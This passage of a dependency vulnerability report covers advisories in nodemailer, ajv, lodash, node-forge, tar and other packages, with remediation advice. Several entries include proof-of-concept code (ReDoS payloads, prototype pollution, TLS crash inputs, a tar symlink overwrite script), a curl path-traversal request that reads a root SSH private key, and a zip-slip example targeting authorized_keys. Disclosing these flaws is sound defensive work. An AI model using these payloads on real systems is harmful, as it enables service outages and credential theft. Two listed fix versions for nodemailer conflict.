Upgrade nodemailer to version 10.1.4 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict in addressparser, which sendMail() uses to derive the SMTP envelope recipient. An attacker can make the application send mail to a recipient other than the one it validated by supplying an address whose domain has whitespace or an RFC 5322 comment directly before a dot, such as ceo@victim.example .allowed.example, because the parser ends the address at that point and sendMail() uses the truncated address. Exposure requires the application to restrict recipients by domain with a parser or suffix check other than the one in nodemailer, and to pass the raw address string to sendMail().
Remediation
Upgrade nodemailer to version 10.4.1 or higher.
References
high severity
- Vulnerable module: ajv
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3
Overview
ajv is an Another JSON Schema Validator
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper validation of the pattern keyword when combined with $data references. An attacker can cause the application to become unresponsive and exhaust CPU resources by submitting a specially crafted regular expression payload.
Note:
This is only exploitable if the $data option is enabled.
PoC
const Ajv = require('ajv');
// Vulnerable configuration — $data enables runtime pattern injection
const ajv = new Ajv({ $data: true });
const schema = {
type: 'object',
properties: {
pattern: { type: 'string' },
value: {
type: 'string',
pattern: { $data: '1/pattern' } // Pattern comes from the data itself
}
}
};
const validate = ajv.compile(schema);
// Malicious payload — both the pattern and the triggering input
const maliciousPayload = {
pattern: '^(a|a)*$', // Catastrophic backtracking pattern
value: 'a'.repeat(30) + 'X' // 30 'a's followed by 'X' to force full backtracking
};
console.time('attack');
validate(maliciousPayload); // Blocks the entire Node.js process for ~44 seconds
console.timeEnd('attack');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ajv to version 6.14.0, 8.18.0 or higher.
References
high severity
new
- Vulnerable module: decode-uri-component
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › got@8.3.2 › cacheable-request@2.1.4 › normalize-url@2.0.1 › query-string@5.1.1 › decode-uri-component@0.2.2
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the customDecodeURIComponent function, which uses a quadratic replacement loop over percent-encoded runs. An attacker can supply a large input string containing many distinct percent-encoded sequences followed by a malformed token (e.g. %zz) to force the fallback decoder path, causing the replacement loop to iterate over an ever-growing replace map and take exponential time - approximately 20 seconds for a ~224 KB payload.
PoC
import decodeUriComponent from 'decode-uri-component';
let payload = '';
for (let i = 0; i < 32000; i++) {
const high = Math.floor(i / 256).toString(16).padStart(2, '0');
const low = (i % 256).toString(16).padStart(2, '0');
payload += `%${high}%${low}x`; // distinct run each iteration
}
payload += '%zz'; // forces the fallback decoder
console.time('decode');
decodeUriComponent(payload); // ~224 KB
console.timeEnd('decode');
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade decode-uri-component to version 0.5.1 or higher.
References
high severity
- Vulnerable module: http-cache-semantics
- Introduced through: kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › got@8.3.2 › cacheable-request@2.1.4 › http-cache-semantics@3.8.1Remediation: Upgrade to kubernetes-client@8.3.7.
Overview
Affected versions of this package are vulnerable to Origin Validation Error via the _varyMatches() function, which fails to properly handle Vary: * (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The Vary: * directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.
Remediation
Upgrade http-cache-semantics to version 4.3.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.17.20.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function zipObjectDeep can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.
PoC
const _ = require('lodash');
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 123
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.20 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Certificate Validation in the pki.verifyCertificateChain function in lib/x509.js. An attacker who controls a CA certificate that carries a pathLenConstraint but no keyUsage extension can place more intermediate CAs below it than the constraint permits and have the chain accepted, because the path-length check is guarded by keyUsageExt !== null && 'pathLenConstraint' in bcExt and is skipped whenever keyUsage is absent. This requires a trusted chain that contains such a constrained CA without keyUsage, which mainly arises in private PKIs since public web PKI CAs include keyUsage, and the attacker must hold that CA's key or obtain a CA certificate from it to issue the extra subordinates.
Workaround
This vulnerability can be avoided with an options.verify callback that rejects any chain where a CA at depth d has a pathLenConstraint less than d minus 1, or, on the issuance side, by re-issuing constrained CA certificates with a keyUsage extension that includes keyCertSign, which restores enforcement.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the modes.gcm.prototype.start method in lib/cipherModes.js. An attacker can have forged ciphertext accepted as authentic, and alter known plaintext to chosen values, by supplying an empty authentication tag, because a zero-like tagLength is stored without validation and afterFinish() computes truncate(16 % (tagLength / 8)), which for a zero value evaluates to 16 % 0 = NaN and empties the tag, so decipher.finish() compares two empty strings and returns true. This is reached only when the application calls forge.cipher.createDecipher('AES-GCM', ...) with a zero-like tagLength, such as one derived from the received tag length or an unset configuration value, while the default 128-bit tag and any fixed valid tagLength are unaffected.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the tls.handleServerHelloDone function in lib/tls.js. A malicious TLS server, or an on-path attacker who strips the server's Certificate message, can terminate the client's Node.js process by completing a handshake with no certificate, because the missing-certificate guard tests the unused c.serverCertificate property while tls.createClientKeyExchange reads c.session.serverCertificate.publicKey and throws an uncaught TypeError. This affects only applications that use the forge TLS client (forge.tls.createConnection with server: false) and drive it from a socket data handler, and the exception leaves connection.process() without invoking the verify or error callbacks.
Remediation
Upgrade node-forge to version 1.4.1 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to NULL Pointer Dereference via tls.handleHandshake() in lib/tls.js, which attempts to update handshake digests via c.session.md5.update(bytes) when c.session is null. A client's session is set to null by c.reset() after a close_notify alert or a call to close(), and is also absent before handshake() is called. A malicious server or an on-path attacker can send a ServerHello record in any of these states, causing an uncaught TypeError to propagate out of connection.process() and terminate the Node.js process.
Note: Only forge.tls clients are affected; servers are not vulnerable because a server creates its session upon receiving a ClientHello.
PoC
var c = forge.tls.createConnection({server: false, ...});
c.handshake();
// warning close_notify alert, then an empty ServerHello, in separate
// process() calls
c.process(forge.util.hexToBytes('15030100020100'));
c.process(forge.util.hexToBytes('160301000402000000'));
// <= 1.4.2: TypeError: Cannot read properties of null (reading 'md5')
// 1.4.3: the record is ignored
The reporter's PoC is in tests/pocs/ghsa-j8rw-jp99-435v.js, and regression tests are in tests/unit/tls.js.
Remediation
Upgrade node-forge to version 1.4.3 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via _trimString() in lib/http.js, which removes trailing whitespace using the regular expression /\s*$/. On a string of n whitespace characters followed by a non-whitespace character, the engine attempts a match at each position and scans the remainder of the run each time, producing O(n^2) work. forge.http calls _trimString() on every response header value processed by response.readHeader() and on cookie names and values in response.getCookies(), with no limit on header size. A server or on-path attacker can send a large response header that blocks the client's event loop for minutes, denying service to everything else in the process.
Note: This is only exploitable by applications that use forge.http directly; forge.http is not loaded by require('node-forge') and requires a socket pool provided by the application.
Workaround
Limit the size of HTTP response headers before passing them to forge.http, for example in the socket pool's data handler.
PoC
var response = forge.http.createResponse();
var ws = new Array(40001).join('\t ');
response.readHeader(forge.util.createBuffer(
'HTTP/1.1 200 OK\r\nX-A: a' + ws + 'X\r\n\r\n'));
// <= 1.4.2: about 4 seconds (quadratic in the whitespace length)
// 1.4.3: about 1 ms
Regression tests are in tests/security/ghsa-6cv4-p8m7-4r25.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade node-forge to version 1.4.3 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: googleapis@23.0.2 and kubernetes-client@8.3.4
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › google-p12-pem@0.1.2 › node-forge@0.7.6Remediation: Upgrade to googleapis@49.0.0.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › openid-client@2.5.0 › node-jose@1.1.4 › node-forge@0.8.5
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Uncaught Exception via tls.parseHelloMessage() in lib/tls.js, which stores the ServerHello's compression_method without validating it against the methods offered in the ClientHello. When the client subsequently handles ServerHelloDone, tls.createConnectionState() throws an uncaught Error('Unsupported compression algorithm.') for any compression method other than null (0) or deflate (1). Because the ServerHello is not yet authenticated at this point, a malicious server or an on-path attacker can set the compression byte to an unsupported value, causing connection.process() to throw and terminating the Node.js process in applications that do not catch the exception - including those using forge.tls.wrapSocket or forge.http.
Workaround
Catch exceptions thrown by connection.process() and close the socket.
PoC
A server (or on-path attacker) sends a ServerHello with `compression_method` 0xff, followed by a valid Certificate and ServerHelloDone:
client.handshake();
client.process(serverHello + certificate + serverHelloDone);
// <= 1.4.2: throws Error: Unsupported compression algorithm.
// 1.4.3: error callback with "Unsupported compression method."
The reporter's PoC (a CA-issued server certificate and the default verify callback) is in tests/pocs/ghsa-w4xr-hqv8-ch44.js, and regression tests are in tests/unit/tls.js.
Remediation
Upgrade node-forge to version 1.4.3 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.18.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Uncontrolled Recursion in the addressparser function. An attacker can cause the process to terminate immediately by sending an email address header containing deeply nested groups, separated by many :s.
Remediation
Upgrade nodemailer to version 7.0.11 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.21.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Uncontrolled Recursion via _parseAddresses in src/mime-node/index.ts when a recipient field is supplied as a deeply nested array. The native array-to-string conversion applied before passing the value to addressparser recurses once per nesting level, so a recipient wrapped in roughly a few thousand arrays (approximately 10 KB of JSON) exhausts the call stack and causes a RangeError. Because the compile step of sendMail was not wrapped in a try/catch, the synchronous throw escapes the callback chain and can crash the process.
Note: This is only exploitable if the caller does not catch the complete synchronous invocation of sendMail.
Remediation
Upgrade nodemailer to version 10.0.2 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.10 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.
PoC
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
